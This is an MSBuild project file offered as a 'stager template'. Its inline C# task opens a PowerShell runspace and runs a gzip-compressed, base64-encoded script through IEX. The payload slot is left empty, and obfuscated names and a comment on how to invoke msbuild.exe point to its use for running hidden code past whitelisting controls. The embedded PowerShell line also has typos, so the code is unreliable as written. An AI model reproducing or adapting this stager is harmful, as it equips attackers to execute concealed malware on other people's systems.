msbuild stager template accepting powershell, compressed in gzip

template.txt

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 <!-- Pass xml to msbuild for compile and execution -->
 <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild filepath\filename.xlm -->
 <!-- Configure AssemblyFile and pok for that to work -->
  <Target Name="34rfas">
   <QWEridxnaPO />
  </Target>
	<UsingTask
    TaskName="QWEridxnaPO"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	<Task>
	  <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[		
			using System;
			using System.IO;
			using System.Diagnostics;
			using System.Reflection;
			using System.Runtime.InteropServices;
			using System.Collections.ObjectModel;
			using System.Management.Automation;
			using System.Management.Automation.Runspaces;
			using System.Text;
			using Microsoft.Build.Framework;
			using Microsoft.Build.Utilities;							
			public class QWEridxnaPO :  Task, ITask {
				public override bool Execute() {
					string pok = "$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''));IEX (New-Object IO.StreamReader(New_Object IO.Compression.GzipStream($s,[IO.Compressio.CompressionMode]::Decompress))).ReadToEnd()";
					Runspace runspace = RunspaceFactory.CreateRunspace();
					runspace.Open();
					RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
					Pipeline pipeline = runspace.CreatePipeline();
					pipeline.Commands.AddScript(pok);
					pipeline.Invoke();
					runspace.Close();			
					return true;
				}								 
			}			
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>